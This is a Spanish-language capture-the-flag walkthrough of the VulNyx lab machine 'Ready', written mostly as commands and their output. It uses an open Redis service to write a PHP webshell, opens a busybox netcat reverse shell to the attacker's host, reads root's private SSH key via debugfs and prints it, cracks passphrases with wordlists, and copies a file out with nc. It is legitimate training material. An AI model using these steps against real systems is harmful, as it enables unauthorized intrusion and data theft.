VulNyx - Ready
Information
Ready es una máquina Linux de dificultad fácil de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en los hipervisores VirtualBox y VMware.
Enumeration
Nmap
TCP
root@kali:~ ❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.64
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-25 11:23 +0200
Nmap scan report for 192.168.1.64
Host is up (0.0010s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
6379/tcp open redis
8080/tcp open http-proxy
root@kali:~ ❯ nmap -sVC -p80,6379,8080 192.168.1.64
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-25 11:24 +0200
Nmap scan report for 192.168.1.64
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Test Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)
6379/tcp open redis Redis key-value store 6.0.16
8080/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Test Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)
Shell (ben)
80/TCP (HTTP)
Site
Directory Fuzzing
root@kali:~ ❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u "http://192.168.1.64/"
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.64/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
server-status (Status: 403) [Size: 277]
Progress: 220544 / 220544 (100.00%)
===============================================================
Finished
===============================================================
8080/TCP (HTTP)
Site
Directory Fuzzing
root@kali:~ ❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u "http://192.168.1.64:8080/"
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.64:8080/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
server-status (Status: 403) [Size: 279]
Progress: 220544 / 220544 (100.00%)
===============================================================
Finished
===============================================================
6379/TCP (REDIS)
Connect
Me conecto con redis-cli al servicio Redis sin proporcionar password, utilizando una sesión de invitado.
root@kali:~ ❯ redis-cli -h 192.168.1.64
192.168.1.64:6379> PING
PONG
192.168.1.64:6379>
Generate WebShell
Dado que existen varios servidores web en los puertos 80 y 8080, intento utilizar el servicio Redis para crear una webshell PHP llamada cmd.php en la ruta /var/www/html, y la operación se realiza correctamente.
192.168.1.64:6379> config set dir /var/www/html
OK
192.168.1.64:6379> config set dbfilename cmd.php
OK
192.168.1.64:6379> set cmd "<?php system($_GET['cmd']); ?>"
OK
192.168.1.64:6379> save
OK
192.168.1.64:6379>
8080/TCP (HTTP)
RCE
Consigo ejecutar comandos como usuario ben.
root@kali:~ ❯ curl -s --output - "http://192.168.1.64:8080/cmd.php?cmd=id" | strings | tail -n1
uid=1000(ben) gid=1000(ben) groups=1000(ben),6(disk)
Reverse Shell
Ya ejecutando comandos intento obtener una reverse shell.
root@kali:~ ❯ echo -n 'busybox nc 192.168.1.5 443 -e /bin/sh' | jq -sRr @uri
busybox%20nc%20192.168.1.5%20443%20-e%20%2Fbin%2Fsh
root@kali:~ ❯ curl -sX GET "http://192.168.1.64:8080/cmd.php?cmd=busybox%20nc%20192.168.1.5%20443%20-e%20%2Fbin%2Fsh"
Obtengo la shell como usuario ben.
root@kali:~ ❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.64] 54692
id ; hostname
uid=1000(ben) gid=1000(ben) groups=1000(ben),6(disk)
ready
Flag (user.txt)
Consigo leer la flag user.txt.
ben@ready:/home/ben$ cat user.txt
e5d3****************************
Privilege Escalation
Enumeration
Groups
El usuario ben forma parte del grupo disk, lo que le permite acceder a discos y particiones con privilegios de root.
ben@ready:/$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben),6(disk)
ben@ready:/$ groups
ben disk
Abuse
Disk Group
Interesting Files
Consigo leer la clave privada (id_rsa) del usuario root, ubicada en /root/.ssh/id_rsa.
ben@ready:/$ df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda1 6.9G 1.5G 5.1G 23% /
udev 473M 0 473M 0% /dev
tmpfs 489M 0 489M 0% /dev/shm
tmpfs 98M 492K 98M 1% /run
tmpfs 5.0M 0 5.0M 0% /run/lock
ben@ready:/$ /usr/sbin/debugfs /dev/sda1
debugfs 1.46.2 (28-Feb-2021)
debugfs: cat /root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,02E266E7A66462FE
tTN5G66QaZHsjOSYG8pFEQqUJUC4lw+WzHs3hbml1+zuLPmnDvUapYFB/4IgQNG2
jp1tebAwENVz/CdS3paB60NB9uosYXHa60Sbi7a31Ej6QqH10UnN/NROSEhqZkt+
dUcQspoDJIvHyvdhm4lIVizfvw1i9epxY+aB9W7vscpN1HAq37WdOn62nnEccLRs
wShZgOeOLTUo5j+C0oQZDi11ZJxEFiwwCFkOqZ+ZEQgshQqgG8PjMvedwuQcFjpN
wgFyQl0ZzGTzaj1iZntc/7G1/9WqXyk3IkpICucALCaSlCZ3Oh0kJd12W27vTKdO
kBpXNU8cgjc+jbIKveFZe6+ZuMwr3Lb9p+f+m7ktcTk/AFxSObuFnHBZN52VE/F4
lVK8vR7Om8qg34REgbvkmrBttg7x4AzUsTZ1WPPJqu3VS0SGVyq8vkpA2ngHmMBC
h3Ca0Xjua55GzCFBGePrQmqOd8jKZ0W6HBfCQyGB/dGg57mKNQy1OSIR4XtFYDYN
wNGTgr4KPebWf1CYRg2nleu3DD3sezutvoVMLJdzoeaLrCPX0pdfEhBase7n72Gy
Q6zqrk07p5GQeuL3tfhBsbHqgK899IMPr2VZPwvaoibDF66UJ1unfEXiPzTTHDo9
5MTR1GK7HYnmtypx3OpCDJMFGwaJgx+o944cxX9DQ63pgwx1R34RoQRfIgqUUrsG
NhEkLvrYFMnlK/dSmouuNFvd868zBlMByQyVYoepyHGhsGDuAP4Mhx7L1Gbj4dRS
dMgfgLN0lM0G+P9QvmmX7TuH1MU1IIfZZw9dCfdUqVVKyegA2RQ7fZG9D8o3l1J0
bIj0VJE7ykqqZEndzgBGRw3bEu3/OKpJM2UFqr/pPlu1w1bVIzHrTPNI5nk6dm77
n/TqwSgU2EQDWK88Z8TORZvuoNA3FelyzxCfRC2HLv0+QrVbyY7dLf3oLH0Zq+gK
1OYVrTKbe4pu0J2R7jZw20pLWeEZPuSE3RmVwcSsVzwb6dBk5rMkwCE5gG1qNh1U
koCqtHzXveisx5I7KrvBj5RTaK/aPX/v8BS/oh8AmiQr2Pqq9K+aQScP2XYh691x
yfVoFGJrZMcG5VD3QxrgWamgcHhug2LotpRbxjc777uK/muI9rUSQLYC06H2Cdf/
kRUH9Ohf3ZrVXpcCMhuCBbOxYBr+TAGjwJIBAYuFMBqhZ4gyaZhxJMCBhQOJHy6c
xR2cUdOAUh9lY40/o0Pwf+5GWiX2u5KmzcZ9iLdJ4NtgYiYMjGMe+0G37PdCXJvG
D+VsowoqCou916TMZUKpYSkzj8q3GLSib6CumVzKDesMLaYiZTOd1ShBqTlYjorp
Dlo5vrgUFk17OS8n0gtQuavBvN+2aM6gMOgiJrXfeLjzPGoY2ypHyNlbp/JI0/Y+
DfE+2kNqriAlvZps1mllIKITk1wNPQ3PVuBW9DkvrSUW7Ye+oMK3WoiQkY4qyu+2
pN0okmXmT5ygTq9KBQUEtjU8RnY27y34nYwCQus0HCA+FfRoxDbJYl0sN2g/Mzjq
PWVlSZLxzcya8sxPBA8gto3H5BxFnTxRXbCBTjTL09imi3QMl9K1emUlG8rSpBsI
-----END RSA PRIVATE KEY-----
debugfs:
Cracking (id_rsa)
Con RSAcrack obtengo el passphrase (shelly) asociado a la clave privada (id_rsa).
root@kali:~ ❯ RSAcrack -k id_rsa -w /opt/rockyou.txt
╭━━━┳━━━┳━━━╮ ╭╮
┃╭━╮┃╭━╮┃╭━╮┃ ┃┃
┃╰━╯┃╰━━┫┃ ┃┣━━┳━┳━━┳━━┫┃╭╮
┃╭╮╭┻━━╮┃╰━╯┃╭━┫╭┫╭╮┃╭━┫╰╯╯
┃┃┃╰┫╰━╯┃╭━╮┃╰━┫┃┃╭╮┃╰━┫╭╮╮
╰╯╰━┻━━━┻╯ ╰┻━━┻╯╰╯╰┻━━┻╯╰╯
─────────────────────────────
code: d4t4s3c ver: v1.0.0
─────────────────────────────
[i] Cracking | id_rsa
[i] Wordlist | /opt/rockyou.txt
[*] Status | 979/14344392/0%/shelly
[+] Password | shelly
─────────────────────────────
root@kali:~ ❯
22/TCP (SSH)
Connect
Accedo internamente como usuario root con la clave privada (id_rsa) y el passphrase obtenido.
ben@ready:/home/ben$ chmod 600 id_rsa
ben@ready:/home/ben$ ssh -i id_rsa root@127.0.0.1
Enter passphrase for key 'id_rsa':
Linux ready 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64
Last login: Tue Aug 25 11:49:44 2026 from 127.0.0.1
root@ready:~# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
ready
Al intentar leer la flag root.txt, parece que esta se encuentra dentro del archivo root.zip.
root@ready:~# ls -l
total 4
-rw------- 1 root root 225 abr 18 2023 root.zip
root@ready:~# file root.zip
root.zip: Zip archive data, at least v2.0 to extract
File Transfer
Transfiero el archivo root.zip a mi máquina local.
root@ready:~# md5sum root.zip
e72dd8ebb0227bda9e33a44abad9b23e root.zip
root@ready:~# nc 192.168.1.5 1234 < root.zip
root@ready:~#
root@kali:~ ❯ nc -lvnp 1234 > root.zip
listening on [any] 1234 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.64] 46200
^C
root@kali:~ ❯ md5sum root.zip
e72dd8ebb0227bda9e33a44abad9b23e root.zip
Al intentar descomprimir el archivo root.zip, solicita un password.
root@kali:~ ❯ unzip root.zip
Archive: root.zip
[root.zip] root.txt password:
Cracking (ZIP File)
Con zip2john consigo el password (already) del archivo root.zip.
root@kali:~ ❯ zip2john root.zip > hash
ver 2.0 efh 5455 efh 7875 root.zip/root.txt PKZIP Encr: TS_chk, cmplen=43, decmplen=32, crc=68F3F801 ts=91CA cs=91ca type=8
root@kali:~ ❯ john --wordlist=/opt/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
already (root.zip/root.txt)
1g 0:00:00:00 DONE (2026-08-25 11:57) 50.00g/s 1228Kp/s 1228Kc/s 1228KC/s christal..280789
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
root@kali:~ ❯ john --show hash
root.zip/root.txt:already:root.txt:root.zip::root.zip
1 password hash cracked, 0 left
Flag (root.txt)
Consigo leer la flag root.txt.
root@kali:~ ❯ unzip -P "already" root.zip
Archive: root.zip
inflating: root.txt
root@kali:~ ❯ cat root.txt
cf5***************************
Hasta aquí la resolución de la máquina Ready de VulNyx.
Happy Hacking! 🙂